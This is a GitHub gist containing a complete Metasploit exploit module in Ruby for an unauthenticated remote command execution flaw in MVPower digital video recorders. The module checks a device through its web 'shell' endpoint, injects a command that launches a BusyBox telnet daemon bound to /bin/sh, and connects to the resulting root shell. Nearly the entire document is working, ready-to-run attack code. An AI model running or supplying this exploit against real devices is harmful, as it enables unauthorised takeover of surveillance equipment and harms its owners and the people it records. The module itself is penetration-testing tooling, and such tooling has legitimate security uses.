Skip to content

Instantly share code, notes, and snippets.

@bcoles
Created February 25, 2017 11:52
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save bcoles/f4f528fa67c887d157be95d60d7fc9d2 to your computer and use it in GitHub Desktop.
Save bcoles/f4f528fa67c887d157be95d60d7fc9d2 to your computer and use it in GitHub Desktop.
This module exploits an unauthenticated remote command execution vulnerability in MVPower digital video recorders. The 'shell' file on the web interface executes arbitrary operating system commands in the query string. This module launches the BusyBox Telnet daemon on the port specified in the TelnetPort option to gain an interactive remote shel…
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
HttpFingerprint = { :pattern => [ /JAWS\/1\.0/ ] }
def initialize(info = {})
super(update_info(info,
'Name' => 'MVPower DVR Shell Unauthenticated Command Execution (Telnet)',
'Description' => %q{
This module exploits an unauthenticated remote command execution
vulnerability in MVPower digital video recorders. The 'shell' file
on the web interface executes arbitrary operating system commands in
the query string.
This module launches the BusyBox Telnet daemon on the port specified
in the TelnetPort option to gain an interactive remote shell.
This module was tested successfully on a MVPower model TV-7104HE with
firmware version 1.8.4 115215B9 (Build 2014/11/17).
The TV-7108HE model is also reportedly affected, but untested.
},
'Author' =>
[
'Paul Davies (UHF-Satcom)', # Initial vulnerability discovery and PoC
'Andrew Tierney (Pen Test Partners)', # Independent vulnerability discovery and PoC
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
],
'License' => MSF_LICENSE,
'Platform' => 'unix',
'References' =>
[
# Comment from Paul Davies contains probably the first published PoC
[ 'URL', 'https://labby.co.uk/cheap-dvr-teardown-and-pinout-mvpower-hi3520d_v1-95p/' ],
# Writeup with PoC by Andrew Tierney from Pen Test Partners
[ 'URL', 'https://www.pentestpartners.com/blog/pwning-cctv-cameras/' ]
],
'DisclosureDate' => 'Aug 23 2015',
'Privileged' => true,
'Arch' => ARCH_CMD,
'Payload' =>
{
'Compat' => {
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find'
}
},
'Targets' =>
[
['Automatic', {}]
],
'DefaultTarget' => 0))
register_options(
[
OptInt.new('TelnetPort', [true, 'The port for Telnetd to bind', 443]),
OptInt.new('TelnetTimeout', [true, 'The number of seconds to wait for connection to telnet', 10]),
OptInt.new('TelnetBannerTimeout', [true, 'The number of seconds to wait for the telnet banner', 25])
], self.class)
end
def telnet_timeout
(datastore['TelnetTimeout'] || 10)
end
def check
begin
fingerprint = Rex::Text::rand_text_alpha(rand(10) + 6)
res = send_request_cgi 'uri' => "/shell?echo+#{fingerprint}",
'headers' => { 'Connection' => 'Keep-Alive' }
if res && res.body.include?(fingerprint)
return CheckCode::Vulnerable
end
rescue ::Rex::ConnectionError
return CheckCode::Unknown
end
CheckCode::Safe
end
def exploit
print_status("#{peer} - Connecting to target")
unless check == CheckCode::Vulnerable
fail_with(Failure::Unknown, "#{peer} - Target is not vulnerable")
end
print_good("#{peer} - Target is vulnerable!")
telnet_port = datastore['TelnetPort']
print_status("#{peer} - Starting telnetd on #{rhost}:#{telnet_port}")
cmd = "telnetd -l /bin/sh -p #{telnet_port}"
res = send_request_cgi 'uri' => "/shell?#{Rex::Text.uri_encode(cmd, 'hex-normal')}",
'headers' => { 'Connection' => 'Keep-Alive' }
unless res
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
end
vprint_status("#{peer} - Connecting to #{rhost}:#{telnet_port}")
sock = Rex::Socket.create_tcp 'PeerHost' => rhost,
'PeerPort' => telnet_port,
'Context' => { 'Msf' => framework, 'MsfExploit' => self },
'Timeout' => telnet_timeout
if sock.nil?
fail_with(Failure::Unreachable, "#{rhost}:#{telnet_port} - Telnet service unreachable")
end
vprint_status("#{peer} - Trying to establish a telnet session...")
prompt = negotiate_telnet(sock)
if prompt.nil?
sock.close
fail_with(Failure::Unknown, "#{rhost}:#{telnet_port} - Unable to establish a telnet session")
end
print_good("#{peer} - Telnet session successfully established...")
handler(sock)
end
def negotiate_telnet(sock)
prompt = '# '
begin
Timeout.timeout(datastore['TelnetBannerTimeout']) do
while(true)
data = sock.get_once(-1, telnet_timeout)
if !data or data.length == 0
return nil
elsif data.include?(prompt)
return true
end
end
end
rescue ::Timeout::Error
return nil
end
end
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment